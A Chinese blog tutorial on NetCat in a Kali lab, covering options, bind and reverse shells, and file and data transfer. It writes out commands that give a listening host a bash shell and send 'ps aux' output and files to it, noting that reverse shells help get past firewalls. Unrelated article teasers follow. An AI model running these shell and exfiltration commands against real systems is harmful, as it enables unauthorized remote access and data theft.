《工具录》NetCat

工具录

  • 1:NetCat
  • 2:选项介绍
  • 3:示例
    • 3.1:正向连接(被动连接)
    • 3.2:反向连接(主动连接)
    • 3.3:信息收集
    • 3.4:文件传输
  • 4:其他


本文以 kali-linux-2023.3-vmware-amd64 为例。

1:NetCat

NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。

功能描述

  • 网络工具中的瑞士军刀
  • 侦听模式 / 传输模式
  • 传输文本信息
  • 传输文件/目录
  • 远程控制/木马
  • 流媒体服务器
  • 远程克隆硬盘

nc 缺乏加密和身份验证的能力。

不同系统或平台的 NetCat 命令不尽相同。

基本语法
nc [选项]

2:选项介绍

选项总览

┌──(root㉿kali)-[~]
└─# nc -h                  
[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:-c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]-e filename             program to exec after connect [dangerous!!]-b                      allow broadcasts-g gateway              source-routing hop point[s], up to 8-G num                  source-routing pointer: 4, 8, 12, ...-h                      this cruft-i secs                 delay interval for lines sent, ports scanned-k                      set keepalive option on socket-l                      listen mode, for inbound connects-n                      numeric-only IP addresses, no DNS-o file                 hex dump of traffic-p port                 local port number-r                      randomize local and remote ports-q secs                 quit after EOF on stdin and delay of secs-s addr                 local source address-T tos                  set Type Of Service-t                      answer TELNET negotiation-u                      UDP mode-v                      verbose [use twice to be more verbose]-w secs                 timeout for connects and final net reads-C                      Send CRLF as line-ending-z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

部分选项

参数说明
-q程序会从标准输入(stdin)中读取,一旦读取到输入流的末尾(EOF),它会等待一段指定的时间(secs)后退出。

3:示例

3.1:正向连接(被动连接)

示例 3.1-1:正向连接,仅限于文本消息传输,无法使用命令。Server 开启端口后被 kali 连接。

# 1、Server(192.168.8.133):
nc -lnv -p 6666# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666

示例 3.1-2:正向连接,可使用命令行。Server 开放自己的 bash shell,被 kali 连接。

# 1、Server(192.168.8.133):
nc -lnv -p 6666 -c bash# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666

如果是 Windows 下 bash 换成 cmd。

3.2:反向连接(主动连接)

示例 3.2-1:反向连接,可使用命令行。kali 开启端口监听后,Server 主动连接 kali,并开放自己的 bash shell。

# 1、kali(192.168.8.128):
nc -lnvp 6666# 2、Server(192.168.8.133):
nc 192.168.8.128 6666 -c bash

因为防火墙的存在,通常反向连接(主动连接)比较常用,让目标机主动发送 shell。

3.3:信息收集

示例 3.3-1:使用反向连接,Server 上 ps aux 的结果会被保存到 kali 上的 test.txt。且完成后一秒自动断开连接。

# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/test.txt# 2、Server(192.168.8.133):
ps aux | nc -nv 192.168.8.128 6666 -q 1

3.4:文件传输

示例3.4.1:使用反向连接,将 Server 上的 2.txt 文件传输到 kali 并被保存为 1.txt。

# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/1.txt# 2、Server(192.168.8.133):
nc -nv 192.168.8.128 6666 < 2.txt -q 1

示例3.4.2:使用正向连接,将 Server 上的 ./test/ 目录传输到 kali 上。

# 1、Server(192.168.8.133):
tar -cvf - ./test/ | nc -lnvp 6666 -q 1# 2、kali(192.168.8.128):
nc -nv 192.168.8.132 6666 | tar -xvf - -C /root/Desktop/

4:其他

《netcat 使用教程》
https://blog.csdn.net/qq_46137954/article/details/127478494

《瑞士军刀 Netcat》
https://blog.csdn.net/qq_63844103/article/details/127681824


年年岁岁花相似,岁岁年年人不同。

——《白头吟》(唐)刘希夷

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/599403.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL——视图

目录 一.视图介绍 二.基本使用 三.视图规则和限制 一.视图介绍 视图是一个虚拟表&#xff0c;其内容由查询定义。同真实的表一样&#xff0c;视图包含一系列带有名称的列和行数据。视图的数据变化会影响到基表&#xff0c;基表的数据变化也会影响到视图。 二.基本使用 创…

在 list 中根据项目需求,使用不同的方法进行查找及删除

学习目标&#xff1a; 学习目标 在 list 中根据项目需求&#xff0c;使用不同的方法进行查找及删除 学习内容&#xff1a; 内容 在 list 中根据项目需求&#xff0c;使用不同的方法进行查找在 list 中根据项目需求&#xff0c;使用不同的方法进行删除 知识总结&#xff1a; …

【mysql django】解决Django提示mysql版本过低

目录 一、解决Django提示mysql版本过低&#xff1a;django.db.utils.NotSupportedError: MySQL 8 or later is required (found 5.7.26) 一、解决Django提示mysql版本过低&#xff1a;django.db.utils.NotSupportedError: MySQL 8 or later is required (found 5.7.26) 报错&…

Netty初探:掌握高性能网络通信框架,提升Java网络编程技能

Netty初探 NIO 的类库和 API 繁杂 &#xff0c; 使用麻烦&#xff1a; 需要熟练掌握Selector、 ServerSocketChannel、SocketChannel、 ByteBuffer等。 开发工作量和难度都非常大&#xff1a; 例如客户端面临断线重连、 网络闪断、心跳处理、半包读写、 网络拥塞和异常流的处…

左旋字符串与判断字符串左旋编程题

字符串左旋 实现一个函数&#xff0c;可以左旋字符串中的k个字符。 例如&#xff1a; ABCD左旋一个字符得到BCDA ABCD左旋两个字符得到CDAB 方法一 void left_move(char* arr, int k) {int i 0;size_t len strlen(arr);k k % len;for (i 0; i < k; i){//左旋转一个…

30 C++ 类型转换构造函数 和 类型转换函数 operator type(类对象)

类型转换构造函数 定义 //类型转换构造函数&#xff1a; //只有一个参数的构造函数&#xff0c; //且参数不是自己的const 引用的构造函数&#xff0c;也称之为 &#xff1a;类型转换构造函数。 //类型转换构造函数&#xff1a; //只有一个参数的构造函数&#xff0c; //且参数…

2.C++的编译:命令行、makefile和CMake

1. 命令行编译 命令行编译是指直接在命令行中输入以下指令&#xff1a; 预处理&#xff1a;gcc -E main.c -o main.i 编译&#xff1a;gcc -S main.i -o main.s 汇编&#xff1a;gcc -c main.s -o main.o 链接&#xff1a;gcc main.o -o main 命令汇总&#xff1a;gcc main.c …

JVM篇:直接内存

直接内存 直接内存并不是JVM的内存结构&#xff0c;直接内存是操作系统的内存&#xff0c;Java本身并不能对操作系统的内存进行操作&#xff0c;而是通过调用本地方法。直接内存常用于NIO作为缓冲区存在&#xff0c;分配成本较高但是读写性能好&#xff0c;并且不受JVM内存回收…

FingerprintService启动-Android13

FingerprintService启动-Android13 1、指纹服务启动1.1 rc启动Binder对接指纹厂商TA库1.2 FingerprintService启动1.2.1 SystemServer启动FingerprintService1.2.2 注册Binder服务fingerprint 2、获取底层信息2.1 AIDL 对接TA中获取2.2 指纹类型判断 android13-release 1、指纹…

PyTorch基础操作

一、Tensor 在 PyTorch 中&#xff0c;张量&#xff08;Tensor&#xff09;是一个核心概念&#xff0c;它是一个用于存储和操作数据的多维数组&#xff0c;类似于 NumPy 的 ndarray&#xff0c;但与此同时&#xff0c;它也支持 GPU 加速&#xff0c;这使得在大规模数据上进行科…

CSS 放大翻转动画

<template><div class="container" @mouseenter="startAnimation" @mouseleave="stopAnimation"><!-- 旋方块 --><div class="box" :class="{ rotate-scale-up-hor: isAnimating }"><!-- 元素内…

F# 中更安全的递归

作者&#xff1a;David Schaefer 排版&#xff1a;Alan Wang 这是 David Schaefer 的客座博客文章。David 是一名专注于函数式编程的自由软件开发人员。他是 G-Research 开源团队的一员。他致力于改进 F# 开发者工具的生态系统。此外&#xff0c;他还帮助维护各种开源的 F# 项目…

使用爬虫爬取热门电影

文章目录 网站存储视频的原理M3U8文件解读网站分析代码实现 网站存储视频的原理 首先我们来了解一下网站存储视频的原理。 一般情况下&#xff0c;一个网页里想要显示出一个视频资源&#xff0c;必须有一个<video>标签&#xff0c; <video src"xxx.mp4"&…

【Python_PyQtGraph 学习笔记(九)】基于PlotWidget实现plot对象的坐标点添加标签

基于PlotWidget实现plot对象的坐标点添加标签 前言正文1、f_plotAddMark(self, xLst, yLst) 方法1、方法传参介绍2、方法内参数介绍2、方法调用3、案例完整代码4、实现效果前言 本文介绍如何在 PlotWidget 的 plot 对象坐标点上添加标签,也可以说是在 PlotWidget 上添加点的标…

Note: A Journey Across Canada

A Journey Across Canada 一场横穿加拿大的旅行 across journey After a quiz last autumn, Kuang crossed the continent eastward to Toronto to visit his schoolmate, the distance measuring approximately 5000 kilometers. 去年秋天一次考试后&#xff0c;Kuang向东穿…

数字人克隆系统开发公司?

广州硅基技术开发限公司是一家位于中国广东省广州市的科技公司。该公司专注于人工智能&#xff08;AI&#xff09;领域的研发和创新。广州硅基以技术创新和解决方案为核心&#xff0c;致力于为客户提供高质量的人工智能产品和服务。 广州硅基技术的主要业务包括但不限于&#…

Java中的序列化和反序列化:深入理解和实战

文章目录 1. 简介2. Java中的序列化3. Java中的反序列化4. Java序列化中的常见问题和解决策略5. 自定义序列化6. 常见问题及解答7. 使用场景8. 结尾 1. 简介 序列化和反序列化的本质是解决在进行远程通信和持久化数据时&#xff0c;如何保存和恢复数据的问题。 ** 序列化&…

stm32学习笔记:TIIM-输入捕获

输入捕获理论 4个输入捕获和输出比较通道&#xff0c;共用4个CCR寄存器 另外它们的CH1到CH4&#xff0c;4个通道的引脚&#xff0c;也是共用的。 所以对于同一个定时器&#xff0c;输入捕获和输出比较只能使用其中一个&#xff0c;不能同时使用。 电平跳变&#xff1a;上升沿…

《动手学深度学习》学习笔记 第5章 深度学习计算

本系列为《动手学深度学习》学习笔记 书籍链接&#xff1a;动手学深度学习 笔记是从第四章开始&#xff0c;前面三章为基础知道&#xff0c;有需要的可以自己去看看 关于本系列笔记&#xff1a; 书里为了让读者更好的理解&#xff0c;有大篇幅的描述性的文字&#xff0c;内容很…

Spring学习 Spring概述

1.1.Spring介绍 ​ Spring是轻量级Java EE应用开源框架&#xff08;官网&#xff1a; http://spring.io/ &#xff09;&#xff0c;它由Rod Johnson创为了解决企业级编程开发的复杂性而创建 1.2.简化应用开发体现在哪些方面&#xff1f; IOC 解决传统Web开发中硬编码所造成的…